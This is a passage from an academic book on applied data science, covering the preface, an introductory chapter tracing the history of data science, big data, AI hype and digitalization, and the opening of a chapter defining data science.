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Preface

In early 2013, the three editors of this volume were instrumental in founding the
ZHAW Datalab, a Data Science Research Institute (DSRI)1 at Zurich University of
Applied Sciences.2 “Big data”was big in the public press,3 but DSRIs were still rare,
especially in Europe. Both for our colleagues and us, it was the natural thing to do:
joining forces to create synergies internally and demonstrate critical mass outwardly
to ultimately facilitate better applied research projects (for which selecting project
team members and acquiring funding becomes much easier in a larger group). The
initial idea was to form a network of experts4 that would engage in regular project-
based collaborations without much administrative overhead. The goal of that part-
nership had been to perform applied research projects between academia and
industry at the interface of structured and unstructured data analysis. The already
existing strong partnership not only gave us confidence in the validity of the
approach, it also made explicit the very need that led to the foundation of the
ZHAW Datalab: the need for a concise description of what we were doing. Let us
explain.

1A DSRI is a university-wide initiative integrating researchers from different disciplines predom-
inantly occupied with a wide range of aspects surrounding the analysis of data.
2A snapshot of these beginnings is contained in Fig. 1. The founders of the ZHAW Datalab also
published an early position paper (Stadelmann, Stockinger, Braschler, Cieliebak, Baudinot, Dürr
and Ruckstuhl, “Applied Data Science in Europe—Challenges for Academia in Keeping Up with a
Highly Demanded Topic”, ECCS 2013). See also www.zhaw.ch/datalab
3The community that formed around the term was also very active, as can be seen, for example, in
the history of meetings of the Swiss Big Data User Group (see https://www.meetup.com/swiss-big-
data/). One of the editors (K.S.) even gave a talk at the first meetup of this group when it was still
called “Swiss Hadoop User Group.”
4A similar concept has been demonstrated by the Network Institute of the Vrije Universiteit
Amsterdam (see http://www.networkinstitute.org/).
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How We Became Data Scientists

Basically, we were able to capitalize on the emergence of the new data science field
at exactly the right time. The ZHAW School of Engineering had been very success-
ful in executing many applied research projects for more than 10 years prior to the
inception of the ZHAW Datalab in 2013. Most of these projects were firmly
“located” at the interfaces of the disciplines that today make up data science. In
particular, computer scientists and statisticians joined forces and worked on prob-
lems integrating and analyzing structured and unstructured data. This was applied
data science at work “par excellence.” However, there was no “elevator pitch” for
the kinds of problems we were working on together with our colleagues, no easy way
to describe the ideas to funding agencies and prospective industry partners. If
nothing less, the term “data science” delivered a concise description of what we
perceived to be the field we were working in (Fig. 1).

One of the first joint activities within Datalab was to organize a workshop to
perform a reality check on the potential of the topic of data science.5 SDS|2014, the
first Swiss Workshop on Data Science already exceeded our proudest expectation of
attendees by a factor of 2 (see also Fig. 2); since then, the workshop has grown into a

Fig. 1 Five of the seven founders of the ZHAW Datalab in one of their first board meetings, with
two of the editors (K.S. and T.S.) in the back row and the third (M.B.) taking the picture. The bottom
row shows Gerold Baudinot (left), Andreas Ruckstuhl and Oliver Dürr (right), while Mark
Cieliebak is missing (picture courtesy of T.S.)

5While a search conducted on LinkedIn for the terms “data scientist switzerland” returns more than
1500 hits as of early 2018, in 2013 it found only two persons (this credit goes to Violeta Vogel of
PostFinance, and Daniel Fasel then of Swisscom: https://www.linkedin.com/in/violeta-vogel-
3a556527/, https://www.linkedin.com/in/danielfasel/).
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series of conferences that attracts a majority of the Swiss data science community.
The growing interest in data science resulted in a significant increase of applied
research projects that were initiated by the members of Datalab. Reflecting on the
ever-growing number of people identifying themselves as data scientists and projects
being described as data science projects led us to identify an additional need.

Why This Book Is Relevant

While data science builds on foundations from other disciplines, it is inherently an
interdisciplinary and applied endeavor. The goal of data science is not only to work
in one of its constituting sub-disciplines per se (e.g., machine learning or information
systems), but to apply such methods and principles to build data products for specific
uses cases that generate value from data. While very valuable textbooks exist on the
individual subdisciplines,6 the data science literature is missing a volume that
acknowledges the applied science context of data science by systematically showing
the connection between certain principles and methods, on the one end, and their
application in specific use cases, on the other. One of the major goals of this book is
to provide the reader with relevant lessons learned from applied data science projects
at the intersection of academia and industry.

How to Read the Book

This book is organized into three parts: Part I pays tribute to the interdisciplinary
nature of data science and provides a common understanding of data science
terminology for readers with different backgrounds. The book is not a replacement
for classical textbooks (i.e., it does not elaborate on fundamentals of certain methods

Fig. 2 Impressions from SDS|2014, the first Swiss Workshop on Data Science: Michael Natusch
(left) delivers his insight into the core values of big data in front of parts of the audience (right;
pictures courtesy of T.S.)

6See for example http://www.learndatasci.com/free-data-science-books/
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and principles described elsewhere), but defines applied data science, the work of a
data scientist, and the results of data science, namely, data products. Additionally,
Part I sheds light on overarching topics such as legal aspects and societal risks
through widely applied data science. These chapters are geared toward drawing a
consistent picture of data science and are predominantly written by the editors
themselves. We recommend the reader to work through the first four chapters in
order.

Part II broadens the spectrum by presenting views and insights from diverse
authors—some from academia, some from industry, some from Switzerland, some
from abroad. These chapters describe a fundamental principle, method, or tool in
data science by means of analyzing specific use cases and drawing concrete lessons
learned from them. The presented case studies as well as the applied methods and
tools represent the nuts and bolts of data science. The chapters in Part II can be read
in any order, and the reader is invited to focus on individual chapters of interest.

Part III is again written from the perspective of the editors and summarizes the
lessons learned of Part II. The chapter can be viewed as a meta study in data science
across a broad range of domains, viewpoints and fields. Moreover, the chapter
provides answers to the following question: What are the mission critical factors
for success in different data science undertakings? Part III is written in a concise way
to be easily accessible even without having read all the details of the case studies
described in Part II.

Who Should Read the Book

While writing and editing the book, we had the following readers in mind: first,
practicing data scientists in industry and academia who want to broaden their scope
and enlarge their knowledge by assimilating the combined experience of the authors.
Second, decision-makers in businesses that face the challenge of creating or
implementing a data-driven strategy and who want to learn from success stories.
Third, students of data science who want to understand both the theoretical and
practical aspects of data science vetted by real case studies at the intersection of
academia and industry.

Thank You

We thank you, the reader, for taking the time to learn from the collected insights
described in this book. We as editors are university lecturers and researchers in our
primary job; it is an immense pleasure and honor for us to be able to convey our
insights. We are also very grateful for the trust and patience we received from our
publisher, Springer, specifically impersonated by Ralf Gerstner. We want to thank
our coauthors that contributed excellent work that is fundamental for making this
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book a success. Finally, we thank our students, colleagues, and partners from the
Datalab, the Master of Advanced Studies in Data Science Program, and the Swiss
Alliance for Data-Intensive Services for providing the environment in which this
book project (and some of the reported use cases) could flourish.

Specifically, I (Martin Braschler) thank my co-editors for consistently engaging
and stimulating discussions, Vivien Petras and the team of the Berlin School of
Library and Information Science at the Humboldt-Universität zu Berlin for hosting
me during part of the period I worked on this book, my colleagues that I have
collaborated with in past projects and who have thus informed my understanding of
data science topics, and last but not least my family, who provides for me the much
needed balance to life as a university teacher and researcher.

I (Thilo Stadelmann) thank my co-editors and Michael Brodie for helpful discus-
sions and valuable lessons in collaboration. Thank you for your patience and
collegiality. I learned a lot. Thanks go to Geri Baudinot for enabling the ZHAW
Datalab and further developments by his vision, patronage, and mentorship. My final
“thank-you” is best expressed with a quote adapted from Reuben Morgan: “Freely
you gave it all to me. . . great is the love, poured out for all, this is my god.”

I (Kurt Stockinger) thank my wife Cinthia and my two little kids Luana and Lino
for the ability to work on the book during calm evening hours—after having changed
diapers and read several good night stories that did not contain data science topics.

Winterthur, Switzerland Martin Braschler
Thilo Stadelmann
Kurt Stockinger

Spring 2019
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Part I
Foundations



Chapter 1
Introduction to Applied Data Science

Thilo Stadelmann, Martin Braschler, and Kurt Stockinger

Abstract What is data science? Attempts to define it can be made in one
(prolonged) sentence, while it may take a whole book to demonstrate the meaning
of this definition. This book introduces data science in an applied setting, by first
giving a coherent overview of the background in Part I, and then presenting the nuts
and bolts of the discipline by means of diverse use cases in Part II; finally, specific
and insightful lessons learned are distilled in Part III. This chapter introduces the
book and provides an answer to the following questions: What is data science?
Where does it come from? What are its connections to big data and other mega
trends? We claim that multidisciplinary roots and a focus on creating value lead to a
discipline in the making that is inherently an interdisciplinary, applied science.

1 Applied Data Science

It would seem reasonable to assume that many readers of this book have first really
taken notice of the idea of “data science” after 2014. Indeed, while already used
sparingly and with different meanings for a long time, widespread use of the term
“data science” dates back to only 2012 or thereabouts (see Sect. 2). Of course, the
“substance” of the field of data science is very much older and goes by many names.
To attest to this fact, the institute at which the editors of this book are located has
given itself the mission to “build smart information systems” already back in 2005.
And the main fields of work of the respective editors (Information Retrieval,
Information Systems/Data Warehousing, and Artificial Intelligence/Machine Learn-
ing) all have traditions that span back for decades. Still, a fundamental shift has been
underway since 2012.
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This chapter traces this fundamental shift by giving a historical account of the
various roots of data science.1 However, what do we understand by the term data
science? As for this book, we adopt a definition that attests to the breadth and history
of the field, is able to discriminate it from predecessor paradigms, and emphasizes its
connection to practice by having a clear purpose:

Data science refers to a unique blend of principles and methods from analytics,
engineering, entrepreneurship and communication that aim at generating value
from the data itself.

These principles and methods are diverse (e.g., spanning disciplines from IT to
legal studies) and are applied to all kinds of data (from relational to multimedia) to
explicitly achieve a specific end: added value. This makes data science inherently an
interdisciplinary and applied science and connects the term closely with the defini-
tions of a data product (an exploitable insight derived from the collected facts) and
the data scientist (the one carrying out data science endeavors). All three terms will
be more thoroughly treated, rooted, and discussed in Chaps. 2–4.

2 The History of Data Science

This section intends to give a concise answer to two questions: what is the connec-
tion between data science and business, especially in the presence of a massive
media hype? And what fueled the availability of (and trust in) large-scale data
analysis? A more complete overview of the most influential publications leading
to data science as we know it is given by Press (2013).

2.1 Data Science, Business, and Hype

The understanding of data science as the field concerned with all aspects of making
sense of data goes back to discussions in the scientific community that started with
Tukey (1962)2 and where summarized by Cleveland (2001) in requiring an inde-
pendent scientific discipline in extension to the technical areas of the field of
statistics. Notable mentions go to the foundation of the field of “knowledge discov-
ery in databases” (KDD) (Fayyad et al. 1996) after the KDD workshop in 1989,3 the
first mentioning of “data science” in the title of a scientific conference in 1996

1Based on updated, translated, and considerably extended versions of (Stockinger and Stadelmann
2014; Stockinger et al. 2016).
2About the same time as Tukey used “data science” in reference to statistics, Peter Naur in Sweden
used the term (interchangeably with “datalogy”) to refer to computer science (Sveinsdottir and
Frøkjær 1988).
3See https://www.kdnuggets.com/meetings/kdd89/index.html. Since 1995, the term “data mining”
has risen to prominence: http://www.aaai.org/Conferences/KDD/kdd95.php
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(Hayashi et al. 1996), and Leo Breiman’s (2001) famous call to unite statistical and
computational approaches to modeling data. These events lead to the foundation of
the first scientific data science journals4 in 2002 and the first data science research
centers in 2007.5

However, widespread recognition beyond a scientific community, including the
dynamics we see today, only started after certain contributions from business: Hal
Varian tells the McKinsey Quarterly in 2009 that the “sexy job of the next 10 years
will be statisticians” (Manyika 2009). This view broadens beyond statistics after the
introduction of the term “data scientist” by Patil and Hammerbacher in 2008 during
their collaboration at LinkedIn and Facebook (Patil 2011). Both felt the need for a
new job description for their team members that, on the one hand, got deep
engineering know-how and, on the other hand, were directly shaping the economic
value of the company’s core products: “those who use both data and science to
create something new.” Earlier, Davenport and Harris (2007) and others had pre-
pared the way for an acceptance of those terms (Smith 2011) by influential popular
scientific books that continued to accompany the development of data science
(Siegel 2013; Domingos 2015).

The two concepts—the field of data science as well as the job description of a data
scientist—in their now popular form (Loukides 2010) together with their fame per se
thus ultimately resulted from a need and development within businesses6 (Patil
2011). The scientific discussion, once in a leading role, had difficulty to keep up
with the dynamics of 2010–2015 and followed with some delay (Provost and
Fawcett 2013; Stadelmann et al. 2013). It is currently accelerating again (see Brodie
(2015b) and his chapters later in this book).

Omnipresent, however, since the adoption of the topic in mass media has been a
hype [see some of its expressions, e.g., in Humby (2006) or Davenport and Patil
(2012)] strong enough to provoke skepticism even in benevolent experts. While
hype can lead to unreflected and hence bad decisions on all levels (from job choice to
entrepreneurial and legislative agenda setting), it should not cloud the view on the
real potential and challenges of data science:

• Economic potential: the McKinsey Global Institute estimates the net worth of the
open data market alone to be three trillion dollars (Chui et al. 2014). A recent
update explains that this potential is not realized yet, and certainly not overhyped

4See, e.g., http://www.codata.org/publications/data-science-journal (inaugurated 2002, relaunched
2015) and http://www.jds-online.com/ (since 2003).
5See, e.g., http://datascience.fudan.edu.cn/ (under the term “Dataology and Data Science”).
6This anchoring of the modern understanding of data science more in business than in academia is
the main reason for many of the references in this work pointing to blog posts and newspaper
articles instead of scientific journals and conference papers. It reflects current reality while not
making the point that academia is subordinate. Data science as a field and business sector is in need
of the arranging, normative work of academia in order to establish solid methodical foundations,
codes of conduct, etc. This book is meant as a bridge builder in this respect.
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(Henke et al. 2016). Earlier, Manyika et al. (2011) estimated a total shortcoming
of 1,90,000 new data scientists.

• Societal impact: data analytics affects medical care (Parekh 2015), political
opinion making (Harding 2017; also Krogerus and Grassegger 2016 and the
aftershocks of the US presidential election 2016 with regards to the involvement
of the company Cambridge Analytica), and personal liberty (Li et al. 2015;
see also Chap. 6 on risks and side effects).

• Scientific influence: data-intensive analysis as the fourth paradigm of scientific
discovery promises breakthroughs in disciplines from physics to life sciences
(Hey et al. 2009; see also Chap. 8 “on developing data science”).

Hype merely exclaims that “data is the new oil!” and jumps to premature
conclusions. The original quote continues to be more sensible: “[. . .] if unrefined,
it cannot really be used. It has to be changed [. . .] to create a valuable entity that
drives profitable activity” (Humby 2006). This already hints at the necessity of the
precise and responsible work of a data scientist, guided by a body of sound principles
and methods maintained within a scientific discipline. However, how did individual
voices of “big data evangelists” grow into a common understanding of the power and
usefulness of the resource of data by means of analytics?

2.2 Different Waves of Big Data

Data science has profound roots in the history of different academic disciplines as
well as in science itself (see also the detailed discussion in the next chapter). The
surge of large-scale science in the second half of the twentieth century, typified by
facilities like CERN7 or the Hubble Space Telescope,8 is the direct enabler of data
science as a paradigm of scientific discovery based on data. These facilities have
arguably enabled the first wave of big data: a single experiment at CERN, for
example, would generate hundreds of terabytes of data in just one second, if not
for a hardware filter that would do a preselection of what to record.

Consequently, specific projects like RD45 (Shiers 1998) where launched already
in the 1990s to manage these high volumes of data before any commercial database
management system was able to host petabytes (Düllmann 1999).9 This rise in
scientific data volumes was not just due to technical ability but due to a change of
paradigm (Hey et al. 2009): The first paradigm of science basically was to perform
theoretical studies; the second paradigm added empiricism: the experimental

7See https://home.cern/ (the website of the web’s birthplace).
8See http://hubblesite.org/
9Additionally, unlike with relational databases in industry at that time, the types of data to be stored
for scientific experiments frequently comprised numerical data (such as temperature, velocity, or
collision counts for particles), often stored in object-oriented database systems or images (e.g., from
stars or galaxies), both at higher volumes and speed.
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evaluation of theoretical hypotheses. Because of the complexity and expensiveness
of large-scale scientific experiments like at CERN, computer simulations emerged as
the third paradigm of scientific discovery (called computational science). Now, the
fourth paradigm is data-intensive science: evaluating, for any given experiment, all
the facts (i.e., the complete data set, not just sub-samples and hand-engineered
features), combining them to all possible probabilistic hypotheses (see also Brodie’s
chapter on “what is data science” later).

Following large-scale science, the second wave of big data was triggered by
internet companies10 like Google, Yahoo, or Amazon at the beginning of the twenty-
first century. In contrast to scientific data, web companies originally focused on
managing text data; the continuing data explosion (see Fig. 1.1) is still fueled by
additionally indexing more and more images and videos. Social media companies
such as Facebook and LinkedIn gave individuals—instead of large-scale scientific
facilities—the ability to contribute to the growth of data; this is regarded as the third
wave of the data tsunami. Finally, the fourth wave is currently rolling up based on the
rise of machine-generated data, such as log-files and sensor data on the Internet of
things.

Fig. 1.1 Examples of the amount of data created every minute publicly on the web, as of
September 2018 and compared to mid-2017. Adapted from: Domo (2017, 2018)

10All of the following three example companies have transformed themselves considerably since
the times of the second wave (see https://abc.xyz/ and https://www.oath.com/ for Google and
Yahoo, respectively; https://www.amazon.com/ still looks familiar, but compare http://www.
visualcapitalist.com/jeff-bezos-empire-chart/).
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3 Data Science and Global Mega Trends

The scientific and commercial development of data science has been accompanied
by considerable buzz in the public press. In this section, we review the contemporary
trends of big data, AI, and digitalization, respectively, and put the terms into the
context of the professional discussion. Our goal is to disentangle the meaning of the
terms as hype words from their scientific definition by showing discrepancies in
public understanding from what experts refer to when using largely overlapping
vocabulary, thus contributing to a successful dialog (Fig. 1.2).

3.1 Big Data

In 2013–2014, “big data” was the favorite buzzword in business: the new oil
(McAfee et al. 2012) of the economy. It alluded exclusively to the technical origins
of the term, namely, Laney’s (2001) “3 Vs” (variety, velocity, and volume) as

Fig. 1.2 Snapshot from the preparations of a business road show in illustration of the hopes and
dreams connected with the term “big data” as used by the public press around 2013 (picture
courtesy of T.S.). The hopes and dreams have been seamlessly transferred to other wording as of
the writing of this book. This is in stark contrast to the continuous scholarly work on big data
discussed, e.g., by Valarezo et al. (2016) and the scientific community that adopted the same name
(see, e.g., https://journalofbigdata.springeropen.com/)
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attributes of the growing flood11 of data: the amount, the number of sources, and the
speed at which new data arrives is very large, that is, “big” (Soubra 2012). It is this
technical definition that is also eponymous of the scientific sub-discipline of infor-
mation systems research that encompasses the development of database manage-
ment systems at scale.12 Data science, on the contrary, is far from focusing
exclusively on “big” in the sense of “large” data: while large itself is always a
relative term as compared to the computational resources of the day,13 data science is
concerned with generating value from all kinds of data (see Braschler’s later chapter
on “small data”).

There is a different, more economical than technological connotation to the public
discussion on big data that conveys some meaning for the data scientist: it is best
seen in a historic version of the Wikipedia article on big data from 2014.14 In its “See
also” section, the term “big data” is brought into relationship with terms like “big
oil,” “big tobacco,” “big media,” etc. The connotation is as follows: at least as much
as from the description of the phenomenon of increased variety/velocity/volume, the
term big data might stem from a whole economy’s hope of having found the new oil
(Humby 2006), of getting new business opportunities, and of launching the “next big
thing” after the Internet and mobile revolution.15 This explains why the term has
been hyped a lot in business for several years. Additionally, this also expresses the
fear of individuals being ushered into the hands of a “big brother,” just as it is
expressed as a present reality in the other “big*” terms from above.

The term “big data” up to here thus contributes a two-fold meaning to the
professional discussion on data science: first, technologically, it gives a description
of the growing state of data (and as such is a scientific sub-discipline of research in
databases, information systems, and distributed systems). Second, economically, it
expresses a hope for business opportunities and voices a subtle concern with respect
to the attached dangers of this business. Both dimensions are worthy to be explored
and have to be researched. The greatest potential of the term, however, may lie in
pointing to the following social phenomenon16:

11In a variation of Naisbitt and Cracknell’s (1984) famous quote on megatrends, Eric Brown (2014)
said: “Today, we are drowning in data and starved for information.”
12The top league of international database researchers meets under the umbrella of “very large data
bases” (http://www.vldb.org/) since 1992.
13See, e.g., the seminal book by Witten et al. (1999) on “managing gigabytes” that was allegedly
influential in building Google but would not qualify as discussing “big” a couple of years later.
Similarly, the test collection at the first TREC conference, at 2 gigabytes of size, posed a
considerable challenge to the participants in 1992 (Harman and Voorhees 2006).
14The following discussion is based on https://en.wikipedia.org/wiki/Big_data as of May 1, 2014. It
is accessible via Wikipedia’s history button.
15Dan Ariely expressed this in a Facebook post gone viral on January 6, 2013: “Big data is like
teenage sex: everyone talks about it, nobody really knows how to do it, everyone thinks everybody
else is doing it, so everybody claims they are doing it. . .” (see http://t.co/tREI1mRQ).
16This thought was first formulated by Michael Natusch in his Keynote at SDS|2014, the 1st Swiss
Conference on Data Science (see also Fig. 1.1 in the preface to this book): https://www.zhaw.ch/en/
research/inter-school-cooperation/datalab-the-zhaw-data-science-laboratory/sds2014/michael-
natusch/
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People (and organizations) have changed their mindset in the last decade. Data is
now regarded as being available (cheap if not for free) for virtually any aspect of the
world, meaning that we can have facts for potentially any phenomenon on the planet.
Additionally, we have the technology ready to automatically make use of these facts
via the principles and methods of data science, for almost all existing business
processes. This enables optimized (i.e., fact-based) decisions, which have a measur-
able value independent of the data having properties of up to n Vs (Vorhies 2014).
This social value of “big data” thus is this: it refers to a big change in thinking about
the possibilities of data-driven automated decision making.

3.2 Artificial Intelligence

The term “big data” was largely forsaken by the public press after circa 2 years of
constant use (White 2015), but it did not leave a vacuum: unforeseen breakthroughs
in deep learning technology as of 2012 ended the last AI winter17 around 2015 (see
also Stadelmann et al.’s later chapter on “deep learning in industrial practice”) and
directly turned it into the next “AI” hype. This unreasonable cycle of popularity can
be traced in the open, too, for example, Simard et al. (2003) display the AI winter of
the 2000s with the following quote: “[. . .] it was even pointed out by the organizers
of the Neural Information Processing System (NIPS) conference that the term
‘neural networks’ in the submission title was negatively correlated with acceptance.”
On the other hand, the RocketAI story (Tez 2016) illustrates the peak of the hype: at
the NIPS conference of 2016, expectations in neural networks where again so high
that the joke of two PhD students of a “launch party” for a fake, fancy AI start-up
attracted large unsolicited funding, applications, and attendees with minimum effort
within a day (see Table 1.1).

AI in the public press as of 2018 mainly refers to the expectation to “do with
computers anything that a human could do—and more.” It often ascribes human-like
properties to AI systems as reflected in larger parts of the discussion revolving

Table 1.1 AI hype at its worst. The metrics of the “Rocket AI launch party” prank at NIPS 2016
(Tez 2016)

RSVPs to party 316

CVs sent via email in advance 46

Well-known investors that got in touch to
fund

5

Planning time <8 h

Money spent $79 for domain, $417 for alcohol, snacks and police
fine

Estimated value of RocketAI $O(107)

17See https://en.wikipedia.org/wiki/AI_winter
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around terms like robots (Kovach 2017), digital assistants (Kremp 2018), self-
driving cars (Roberts 2018), chatbots (Spout Social 2018), and neural networks as
digital brains (Gruber 2017). What contributes to (if not even causes) the high, even
inflated, expectations is the use of terms originally coined for intelligent living
beings (“intelligence,” “learning,” “cognitive,” “social”). Everybody has an intuitive
understanding of what “intelligence” means in a human context and subconsciously
ascribes said properties to the technical system.

The scientific community is not innocent of this dilemma, even if it tries to clarify
things (Brooks 2017): in private communication,18 one of the fathers of AI regretted
coining the term “artificial intelligence” at the Dartmouth workshop in 1956 exactly
for the outgrowths described above, mentioning that it would have been wiser (but
maybe less successful) to have gone with the second proposed name for the field—
“complex computer applications.” It is exactly this that defines the scientific disci-
pline of AI today (Russell and Norvig 2010): a collection of diverse techniques, from
efficient search algorithms to logic to various shades of machine learning, to solve
tasks of everyday life that usually can only be solved by humans, in an attempt that
might look intelligent from the outside. As such, the field of AI is not concerned with
researching intelligence per se nor in reproducing it; but it delivers practical solu-
tions to problems, for example, in business for many decades (Hayes-Roth et al.
1983), even with deep learning (LeCun et al. 1998).

3.3 Digitalization

Different technological and industry-specific trends19 additionally get summarized
under the unifying term “digitalization”20 in the public discourse. The added value of
this term per se can reasonably be questioned: things arguably became digital—
digitized—since the IT revolution of businesses and societies in the last century. The
modern use extends this mega trend by emphasizing increased interconnectedness
(social networks) and automation. This trend is specifically enabled by data science,
based on the availability of digital data (“big data” in the social sense above) and
analytics technologies (“AI”). It spans almost all industry and societal branches, and
hence the discussion not only involves data science professionals—technical peo-
ple—but also sociologists, politicians, etc., with valuable contributions to the phe-
nomenon at large.

The missing selectivity of the public use of “digitalization” and the
abovementioned “buzz” words create a problem: experts and laypeople speak in

18The statement was orally witnessed at an AI planning conference in the 1990s by a colleague who
wishes to remain anonymous.
19Compare terms like FinTech (Dapp et al. 2014), MedTech (MedTech Europe 2018), EdTech, etc.,
(Mayer 2016) as well as Industrie 4.0 (Kagermann et al. 2011).
20Not “digitization”—compare the article by Clerck (2017).
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the same terms but mean different things. The new “AI algorithm” inside a
company’s product is potentially more statistics than AI, speaking in technical
terms; the just purchased “big data platform” might likely refer to an analytics tool
not specifically designed to handle large data (as would be the case if called such by a
big data researcher); and digitalization changes our education, but likely not pre-
dominantly in the sense that we now have to replace human teachers, but by teaching
students skills in handling a digitalized society (including skills in handling digital
media and basic understandings of data science technology) (Zierer 2017).

The missing selectivity in the use of terms cannot be removed from the dis-
course.21 It is thus important for data professionals—data scientists—to understand
what experts and laypeople mean and hear when speaking of such terms, in order to
anticipate misunderstandings and confront unreasonable expectations.

4 Outlook

What is the future of data science? Data science as a discipline of study is still in its
infancy (Brodie 2015a), and the principles and methods developed in its underlying
disciplines have to be furthered in order to adapt to the phenomenon we called big
data in the previous section. This maturing of data science will be addressed in two
later companion chapters by Michael Brodie in Part II of the book.

From a business perspective, data science will continue to deliver value to most
industries22 by introducing possibilities for automation of repetitive tasks.23 A recent
overview of successful data-driven innovations in Switzerland, presented at the first
“Konferenz Digitale Schweiz,” showed the overall potential by demonstrating that
the innovation depth in current data science projects is surprisingly low (Swiss
Alliance for Data-Intensive Services 2017): one third of business innovations was
achieved by deploying technology and processes that have been well-known for
decades; another third was achieved by consulting companies on recent innovations
in data-driven business models and technologies; and for only one third, applied

21Some experts suggest to use all the discussed terms synonymously for the sake of simplicity, e.g.,
Brodie in his later chapter on “developing data science” speaks of “AI/data science”. While this
might be appropriate in certain situations, maintaining proper attribution certainly helps in other
situations by maintaining concise and effective communication. Using precise terminology prevents
inflated expectations, describes true expertise, and gives guidance in where to find it (e.g., in what
discipline).
22François Bancilhon put it frankly in his ECSS 2013 keynote: “most industries will be disrupted”
(see http://www.informatics-europe.org/ecss/about/past-summits/ecss-2013/keynote-speakers.
html).
23See Brooks (2017) for a counter argument on the hopes (or fears) that too many jobs could be
automated in a nearer future. But as Meltzer (2014) points out, repetitive tasks even in jobs
considered high-profile (e.g., medical diagnosis or legal advice) could be automated quite well:
automation potential lies in repetitiveness per se, not the difficulty of the repetitive task.
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research projects fostered the foundation for the business innovation. Part II of this
book reports on numerous case studies emerging from that latter third.

While the benefit to businesses is fairly obvious and easily measurable in terms of
profit, the effect of data science on our societies is much less well understood. Recent
reports warn about potential blind spots in our core technologies (Rahimi and Recht
2017) and go as far as suggesting to treat AI technology similar to nuclear weapons
in limiting access to research results (Brundage et al. 2018). The recent emergence of
the word “techlash” might indicate society’s first large-scale adverse reaction on the
dawn of digitalization (Kuhn 2018). Clemens Cap explores such issues in his chapter
towards the end of Part I of this book, while Widmer and Hegy shed some light on
the legal space in which a data scientist operates.

The next three chapters will continue defining what data science, a data scientist,
and a data product is, respectively. As stated in the preface, they are best read in
order to get a coherent picture of the frame for this book. The remaining chapters can
be approached in any order and according to personal interest or project need. A
concise summary of all lessons learned will be presented in Part III. We intend this
part to form best practices for applying data science that you will frequently refer to
as you start your own professional data science journey.
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Chapter 2
Data Science

Martin Braschler, Thilo Stadelmann, and Kurt Stockinger

Abstract Even though it has only entered public perception relatively recently, the
term “data science” already means many things to many people. This chapter
explores both top-down and bottom-up views on the field, on the basis of which
we define data science as “a unique blend of principles and methods from analytics,
engineering, entrepreneurship and communication that aim at generating value from
the data itself.” The chapter then discusses the disciplines that contribute to this
“blend,” briefly outlining their contributions and giving pointers for readers inter-
ested in exploring their backgrounds further.

1 Introduction

“Data science” is a term that has entered public perception and imagination only
since the first half of the decade. Even in the expert community, fundamental
treatments such as “What Is Data Science?” (Loukides 2010) were first published
as recently as 2010. Yet, the substance of what constitutes data science has been built
up for much longer. An attempt to define the term “data science” can follow either a
top-down or a bottom-up philosophy. On the one hand, looking “top-down,” data
science is the research field that studies mechanisms and approaches necessary to
generate value and insights from data, enabling the building of data products.
Importantly, a “data product” is not just a product “dealing” with data, but it is a
product deriving its value from the data and producing data itself (Loukides 2010).
On the other hand, adopting the “bottom-up” view, data science is an interdisciplin-
ary research field (Stockinger et al. 2015) that adopts a new, holistic way of
exploiting data, looking beyond single aspects such as how to store data, or how
to access it. It follows that we need to integrate competencies from many older
disciplines of study: technical-mathematical disciplines such as “computer science”
and “statistics,” but also disciplines such as “entrepreneurship” and “art.”
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No one view, top-down or bottom-up, is superior. In fact, there was and is
considerable disagreement exactly where the boundary of data science is to be
drawn (Warden 2011). Rather than engage in this “war of definitions,” we think it
is helpful to view the different approaches as complementary. For our own work in
talking to audiences as diverse as students, colleagues, and business partners, we
found the following definition most helpful, and thus adopt it for this book on
applied data science (Stadelmann et al. 2013):

Data science refers to a unique blend of principles and methods from analytics, engineering,
entrepreneurship and communication that aims at generating value from the data itself.

What makes this phrasing stand out for us is threefold:

1. The definition distinguishes data science well from preceding paradigms: it is not
equal to its individual parts, such as analytics, engineering, etc. (or their
sub-disciplines, such as AI, algorithms, or statistics), that is, no single
sub-discipline “owns” data science. Nor is it simply the sum of these parts, that
is, it does not include any sub-discipline entirely. Instead, it refers to a unique
blend of principles and methods from them. We arrived at this conclusion through
intensive collaboration between computer scientists and statisticians at the
ZHAW School of Engineering and are convinced that it holds generally. Unlike
e-science and other domain-specific paradigms, data science is universal in
applying to all kinds of data and application areas. Finally, unlike in data mining,
which concentrates on exploratory data analysis, there is a clear goal in data
science to generate value from data. Reflecting on the top-down view given
above, the data product guides this value generation.

2. The definition connects science to practice: by emphasizing data science as an
applied science (encompassing entrepreneurship, having the goal of generating
value), the important aspect of it being “grounded in reality”1 is highlighted.
Again, the applicability of this has been verified many times over in our work in
applied research and development over the past years, and distinguishes data
science from some of the fundamental work done in the constituting disciplines
(e.g., establishing the laws of probability remains a fundamental result in math,
not data science).

3. The definition testifies to the breadth and history of the field: the unique blend of
methods and principles explicitly acknowledges that data science is “standing on
the shoulders of giants” instead of “reinventing the wheel.” It also acknowledges
the fact that it is more than an umbrella term: the blend we refer to is unique, and
not just a universal collection, but a tailored selection of relevant methods,
principles, and tools from the constituting disciplines.

The remainder of this chapter will trace these “giants” and their contributions to
data science.

1See also Brodie’s later chapter “on developing data science”.
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Critically, to turn “data science” into more than a label or a hype (see, e.g.,
Davenport and Patil 2012), and rather into a real discipline on its own right, a
re-thinking of the whole process of leveraging data is necessary, from data acquisi-
tion all the way to the building of a “data product.” Data science is more than an
umbrella term precisely because it not only allows to bundle all the individual
disciplines from the constituting fields but the term also finally allows a convenient
way to express this idea of working at the so far uncovered interfaces of the different
subfields. Data science is very much about creating synergies. The remainder of this
chapter will highlight clearly that data science is an applied and interdisciplinary
endeavor: the case studies covered in Part II could not be feasible otherwise and
would suffer greatly from the lack of a concise, accurate term to describe them.

2 Applied Data Science

When discussing the “added value” of combining traditional academic disciplines
such as statistics and computer science, but also economics, the notion of “generat-
ing value from data” stands out. Data becomes a product—inherently making data
science an applied science. On the other hand, an endeavor becomes scientific if it
examines a phenomenon by use of the scientific method2 with the goal to gain
knowledge. It becomes applied science if the scientific method is applied not just to
any phenomenon but to problems that arise in “everyday life” and the solution of
which directly improves issues at home, at work, in business, or in the society at
large.

The distinction between basic and applied research thus is the origin of the
research question—the phenomenon or hypothesis to consider. The majority of
research in data science is applied, being directly motivated by use cases; and it
can be argued that without this demand from use cases the more fundamental
questions (e.g., how to scale the developed methods to all relevant domains3)
would basically not arise. In turn, use cases provide a means to test hypotheses
arising from purely fundamental work—much like test set examples in machine
learning help evaluating the generalization capabilities of an established (trained)
model.

More use cases than ever await solutions due to more data than ever being
available to more actors than at any time in history4—but if one believes in the
age-old saying “knowledge is power,” leveraging that data becomes ever more
pressing, lest the competition might glean insight from it first. Many companies
